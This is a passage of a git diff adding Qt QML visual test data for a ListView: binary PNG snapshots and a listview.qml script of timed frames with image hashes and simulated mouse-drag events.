"bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6960 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6976 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6992 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7008 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7024 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7040 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7056 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7072 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7088 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7104 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7120 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7136 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7152 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7168 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7184 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7200 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7216 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7232 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7248 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7264 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7280 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7296 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7312 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.0.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.0.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.0.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.1.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.1.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.1.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.10.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.10.png new file mode 100644 index 0000000..dcfca3f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.10.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.11.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.11.png new file mode 100644 index 0000000..7cc4047 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.11.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.12.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.12.png new file mode 100644 index 0000000..a97f4ad Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.12.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.13.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.13.png new file mode 100644 index 0000000..7a8c6bd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.13.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.14.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.14.png new file mode 100644 index 0000000..ae47356 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.14.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.15.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.15.png new file mode 100644 index 0000000..b3a7260 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.15.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.16.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.16.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.16.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.17.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.17.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.17.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.18.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.18.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.18.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.19.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.19.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.19.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.2.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.2.png new file mode 100644 index 0000000..579c68c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.2.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.3.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.3.png new file mode 100644 index 0000000..b3a7260 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.3.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.4.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.4.png new file mode 100644 index 0000000..19758b0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.4.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.5.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.5.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.5.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.6.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.6.png new file mode 100644 index 0000000..82cac48 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.6.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.7.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.7.png new file mode 100644 index 0000000..9277a82 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.7.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.8.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.8.png new file mode 100644 index 0000000..8c36da7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.8.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.9.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.9.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/listview.9.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.qml b/tests/auto/declarative/qmlvisual/ListView/data/listview.qml new file mode 100644 index 0000000..cd5d7b4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.qml @@ -0,0 +1,3079 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 32 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 48 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 64 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 80 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 96 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 112 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 128 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 144 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 160 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 176 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 192 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 208 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 224 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 240 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 256 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 272 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 288 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 304 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 320 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 336 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 352 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 368 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 384 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 400 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 416 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 432 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 448 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 464 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 480 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 496 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 512 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 528 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 544 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 560 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 576 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 592 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 608 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 624 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 640 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 656 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 672 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 688 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 704 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 720 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 736 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 752 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 768 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 784 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 800 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 816 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 832 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 848 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 864 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 880 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 896 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 912 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 928 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 944 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 960 + image: "listview.0.png" + } + Frame { + msec: 976 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 992 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1008 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1024 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1040 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1056 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1072 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1088 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1104 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1120 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1136 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1152 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1168 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1184 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1200 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1216 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1232 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1248 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1264 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1280 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1296 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1312 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1328 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1344 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1360 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1376 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1392 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1408 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1424 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1440 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1456 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1472 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1488 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1504 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1520 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1536 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1552 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1568 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1584 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1600 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1616 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1632 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1648 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1664 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1680 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1696 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1712 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1728 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1744 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1760 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1776 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1792 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1808 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1824 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1840 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1856 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1872 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1888 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1904 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1920 + image: "listview.1.png" + } + Frame { + msec: 1936 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1952 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1968 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1984 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2000 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2016 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2032 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2048 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2064 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2080 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2096 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2112 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2128 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2144 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2160 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2176 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2192 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2208 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2224 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2240 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2256 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2272 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2288 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2304 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2320 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2336 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2352 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2368 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2384 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2400 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2416 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2432 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2448 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2464 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2480 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2496 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2512 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2528 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2544 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2560 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2576 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2592 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 553; y: 267 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2608 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2624 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 554; y: 267 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 555; y: 266 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2640 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 556; y: 265 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 558; y: 260 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2656 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 560; y: 256 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2672 + hash: "c315e184c4dcb11d7e9fd4509a8b6a1f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 562; y: 250 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 566; y: 234 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2688 + hash: "aeef1cacca9518408519b670443e396f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 568; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2704 + hash: "621626927f83bf7b36b78f5ca7ed4ed0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 572; y: 192 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 572; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2720 + hash: "b2aca965b745e98365195c52b9dd9a2c" + } + Frame { + msec: 2736 + hash: "b80cc493e604c42aca2367e26bc9e844" + } + Frame { + msec: 2752 + hash: "39165ad87fc687e0f165f8a2675173b5" + } + Frame { + msec: 2768 + hash: "edd1da7c34c3eb7f1f16b782dfa41a13" + } + Frame { + msec: 2784 + hash: "d31a7915cdb2a7f392e6edc3047a6606" + } + Frame { + msec: 2800 + hash: "3038dbb3fe3c255adcbecfc106bacb99" + } + Frame { + msec: 2816 + hash: "454137c508d76f2c38b8007247420b81" + } + Frame { + msec: 2832 + hash: "16eb385d3ce3b186745974500f855a97" + } + Frame { + msec: 2848 + hash: "8871fded1fbbdcb0fdfdaa2e6eecc3d1" + } + Frame { + msec: 2864 + hash: "f49955dab8341e7ca472c3f547cbeaab" + } + Frame { + msec: 2880 + image: "listview.2.png" + } + Frame { + msec: 2896 + hash: "c0ef41c682fa9802c9eb74fd249cfd40" + } + Frame { + msec: 2912 + hash: "6174fea6ef04fbcefd32d6a0b35a3514" + } + Frame { + msec: 2928 + hash: "7b2288a8be7b3c465e725aeb5788e91f" + } + Frame { + msec: 2944 + hash: "b39d8cb650ee00c245b556235843490b" + } + Frame { + msec: 2960 + hash: "9478ea0bf640924931d627cd8b607eba" + } + Frame { + msec: 2976 + hash: "39743788f56c6f5c29fa9549e586d1ae" + } + Frame { + msec: 2992 + hash: "ec8ab3547e10d18e9493b8fae5125591" + } + Frame { + msec: 3008 + hash: "169b115d03db8c901db4f4c2909a18d3" + } + Frame { + msec: 3024 + hash: "bf438b17a1e8df6d6bb05474cacd12a7" + } + Frame { + msec: 3040 + hash: "2aad06334128659e143c4c6c8415a30b" + } + Frame { + msec: 3056 + hash: "ea0e8d7387b9b54a47bb99c058093462" + } + Frame { + msec: 3072 + hash: "e483e585399a47490599ca265cf73000" + } + Frame { + msec: 3088 + hash: "43bed4aac1a2a9b66eafefc117424500" + } + Frame { + msec: 3104 + hash: "ba5c36add368938f8134a0a88e599c00" + } + Frame { + msec: 3120 + hash: "c905be5276a871bd1ac392580231c9e4" + } + Frame { + msec: 3136 + hash: "0c96d9b0119513c1f327f9e6651e89cd" + } + Frame { + msec: 3152 + hash: "c4ba0836dbb900600f8f4aed42eb1ea1" + } + Frame { + msec: 3168 + hash: "253d014f89a616032664f29f268cfd85" + } + Frame { + msec: 3184 + hash: "a5185192d7db7c4a4c8bec6cb5a2a73a" + } + Frame { + msec: 3200 + hash: "d453cc5b89d3fa00586cc41d5a9a8092" + } + Frame { + msec: 3216 + hash: "b3c39c0c06643612681b098101458d32" + } + Frame { + msec: 3232 + hash: "09beec410a0ca7c47fe08991341aea0c" + } + Frame { + msec: 3248 + hash: "c13c269b384029d04a05fd0170e5909e" + } + Frame { + msec: 3264 + hash: "cafe360c512ab92804dc1fddae9b8fb6" + } + Frame { + msec: 3280 + hash: "26dfe538a7edc8f43af1d78e678f3dfa" + } + Frame { + msec: 3296 + hash: "11e03f6901a4bdbc1eabe72b1ddbee4b" + } + Frame { + msec: 3312 + hash: "0ea8886b1256649665a1597f62cc633b" + } + Frame { + msec: 3328 + hash: "013c34be077fb689333df9b04a931b3a" + } + Frame { + msec: 3344 + hash: "d0e9f1d147e0767c12a89f33b5f2b5b3" + } + Frame { + msec: 3360 + hash: "9888bf29cd868bad6b2593842413b283" + } + Frame { + msec: 3376 + hash: "d8ec307a85cecaacaa908ceb34d5db5b" + } + Frame { + msec: 3392 + hash: "4afe1df3e802b41d1b89b5fab4e35190" + } + Frame { + msec: 3408 + hash: "e8f484ed8d2a6745ee87ac9544281d55" + } + Frame { + msec: 3424 + hash: "48eaa0644a27cb3e53c75bd0ce08bf47" + } + Frame { + msec: 3440 + hash: "f1523d82dfc5c136fbe8746449bb5013" + } + Frame { + msec: 3456 + hash: "d664786f1a79f851e72aa48ee6736374" + } + Frame { + msec: 3472 + hash: "e43bb6d0374c8bab67b5fafcaeb2a205" + } + Frame { + msec: 3488 + hash: "77ef61827c993b16691a023e99cc7f7e" + } + Frame { + msec: 3504 + hash: "6198e0d242db79e81fb81f621c78a3c9" + } + Frame { + msec: 3520 + hash: "a66b4773ef05ca78aa12e2c8a151c53a" + } + Frame { + msec: 3536 + hash: "52fa0b693c3de208e5943521eef5587c" + } + Frame { + msec: 3552 + hash: "0e237f706f9c2c4c616271f9b9d014e5" + } + Frame { + msec: 3568 + hash: "14edd1dc2371a9aadaa3c079d325fab6" + } + Frame { + msec: 3584 + hash: "1fe873b07ee24edaea224939e10830f1" + } + Frame { + msec: 3600 + hash: "30804b5eb2a6d99116475cbdc1a9c043" + } + Frame { + msec: 3616 + hash: "c892c17ec947a910b74f5b8704405e9f" + } + Frame { + msec: 3632 + hash: "696029b77512943001c9eba64191e633" + } + Frame { + msec: 3648 + hash: "4c26bb0ca28d74a2bb79d0bfc8127361" + } + Frame { + msec: 3664 + hash: "2d1539db88647d73b9c53cde7c424dd7" + } + Frame { + msec: 3680 + hash: "fd20e4259b44357c93f22f35c698fe1b" + } + Frame { + msec: 3696 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3712 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3728 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3744 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3760 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3776 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3792 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3808 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3824 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3840 + image: "listview.3.png" + } + Frame { + msec: 3856 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3872 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3888 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3904 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3920 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3936 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3952 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3968 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3984 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4000 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4016 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4032 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4048 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4064 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4080 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4096 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4112 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4128 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4144 + 